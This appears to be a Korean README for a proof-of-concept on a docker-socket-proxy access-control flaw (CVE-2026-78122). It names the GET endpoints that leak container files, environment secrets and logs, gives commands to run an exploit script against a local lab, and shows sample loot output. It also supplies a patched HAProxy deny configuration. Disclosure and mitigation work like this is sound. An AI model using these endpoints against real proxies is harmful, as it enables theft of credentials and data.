
CVE-2026-78122에 대한 개념 증명 익스플로잇으로, docker-socket-proxy의 허술한 접근 규칙을 통해 컨테이너 파일시스템과 환경 변수 유출을 시연하며, 패치된 HAProxy 구성도 포함합니다.
Tecnativa docker-socket-proxy ≤ 0.5.0 — 불충분한 접근 제어 세분화(CWE-1220)
CVSS 4.0: 8.3 (높음) — CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
공격 벡터는 인접(Adjacent)(
AV:A)입니다. 공격자는 프록시에 로컬/인접 네트워크로 도달할 수 있어야 합니다. 이것이 바로 라우팅 가능한 인터페이스에서 프록시를 격리하는 것이 완화 조치의 일부인 이유입니다.
docker-socket-proxy는 Docker 소켓을 위한 HAProxy 프런트엔드로, 그 목적은
Docker API에 대해 범위가 제한된 최소 권한 액세스를 제공하는 것입니다.
운영자가 사용하는 표준적인 "안전한 읽기 전용" 구성은 다음과 같습니다:
CONTAINERS=1 # allow listing/inspecting containers
POST=0 # deny everything that mutates state
# every other flag left at its default (0)
운영자는 이것이 읽기 전용 컨테이너 메타데이터를 산출할 것이라고 합리적으로 믿습니다. 하지만 그렇지 않습니다.
haproxy.cfg에서
전체 /containers 네임스페이스는 하나의 거친 접두사 규칙으로 제어됩니다:
http-request allow if { path,url_dec -m reg -i ^(/v[\d\.]+)?/containers } { env(CONTAINERS) -m bool }
이 정규식은 /containers 아래의 모든 GET 하위 경로와 일치하며, 여기에는
"컨테이너 나열"의 일부가 될 의도가 없었던 민감한 읽기 엔드포인트도 포함됩니다.
이들은 모두 GET이므로 POST=0 가드는 이를 막지 못합니다:
결과적으로, "강화된" CONTAINERS=1, POST=0 구성에서는 프록시에 도달할 수 있는
사람이라면 누구나 비밀을 덤프하고 호스트의 모든 컨테이너의 전체 파일시스템을
외부로 유출할 수 있습니다.
lab/ vulnerable docker-socket-proxy v0.5.0 + a victim container with planted secrets
exploit/ exploit.sh — end-to-end data-exfiltration PoC
mitigation/ patched haproxy.cfg + compose that denies the sensitive sub-paths
verify.sh one command: stand up both, exploit, print a before/after table
teardown.sh stop everything
loot/ exploit output lands here
Docker + Docker Compose와 POSIX 셸이 필요합니다(Windows에서는 Git Bash가 작동합니다).
./verify.sh
또는 단계별로:
docker compose -f lab/docker-compose.yml up -d # vulnerable proxy on 127.0.0.1:2375
bash exploit/exploit.sh http://127.0.0.1:2375 # loot lands in ./loot
프록시는
127.0.0.1에만 바인딩됩니다. Docker 소켓 프록시를 라우팅 가능한 인터페이스에 노출하지 마십시오.
[+] POST /containers/create -> 403 Forbidden (operator believes they are safe)
Leaked environment variables:
STRIPE_API_KEY=sk_live_FAKE_0000000000000000
DB_PASSWORD=hunter2-from-container-env
[+] Pulled /etc/passwd via /archive
[+] Stole /run/secrets/aws.env via /archive
[+] Exported entire filesystem (8,095,232 bytes) via /export
[+] Retrieved process table via /top and logs via /logs
위의 모든 항목은 **POST=0**이 여전히 적용된 상태에서 얻어졌습니다.
실제 수정: 패치 릴리스로 업그레이드하고(issue #182 /
PR #183에서 추적),
CONTAINERS=1만으로 "읽기 전용"이라고 의존하는 것을 중단하십시오.
이 저장소에는 드롭인 강화 구성
(mitigation/haproxy.patched.cfg)도 포함되어 있으며, 거친
/containers 허용 규칙 앞에 위험한 하위 경로에 대한 명시적 deny 규칙을 추가합니다.
각 규칙은 전용 플래그(ALLOW_ARCHIVE, ALLOW_EXPORT, ALLOW_LOGS, ALLOW_TOP)로
다시 활성화할 수 있습니다:
http-request deny if { ... /containers/[..]/archive } ! { env(ALLOW_ARCHIVE) -m bool }
http-request deny if { ... /containers/[..]/export } ! { env(ALLOW_EXPORT) -m bool }
http-request deny if { ... /containers/[..]/logs } ! { env(ALLOW_LOGS) -m bool }
http-request deny if { ... /containers/[..]/top } ! { env(ALLOW_TOP) -m bool }
수정 전후를 검증했습니다(verify.sh 출력) — 동일한 CONTAINERS=1, POST=0 구성:
정상적인 목록/검사는 여전히 작동하며, 데이터 유출 기본 동작은 차단됩니다.
운영 측면에서도: 프록시를 라우팅 가능한 네트워크에서 격리하고, Docker 소켓을 읽기 전용으로 마운트하며, 최소 권한을 적용하십시오(소비자가 필요로 하는 정확한 플래그만 활성화).
공인된 보안 테스트 및 교육 목적으로만 사용하십시오. 랩은 전적으로 여러분 자신의 호스트에서 여러분이 생성한 컨테이너를 대상으로 실행됩니다.
| Endpoint (GET) | 유출되는 정보 |
|---|
/containers/{id}/archive?path=… | 모든 컨테이너에서 임의 파일 읽기 |
/containers/{id}/export | tar로 전체 컨테이너 파일시스템 |
/containers/{id}/logs | 컨테이너 stdout/stderr |
/containers/{id}/top | 전체 argv가 포함된 프로세스 목록(자격 증명 포함 가능) |
/containers/{id}/json | 환경 변수를 포함한 전체 구성 |
| GET 엔드포인트 | 취약 (:2375) | 완화됨 (:2376) |
|---|
/containers/json (목록) | 200 | 200 |
/containers/{id}/json (검사) | 200 | 200 |
/containers/{id}/archive | 200 | 403 |
/containers/{id}/export | 200 | 403 |
/containers/{id}/logs | 200 | 403 |
/containers/{id}/top | 200 | 403 |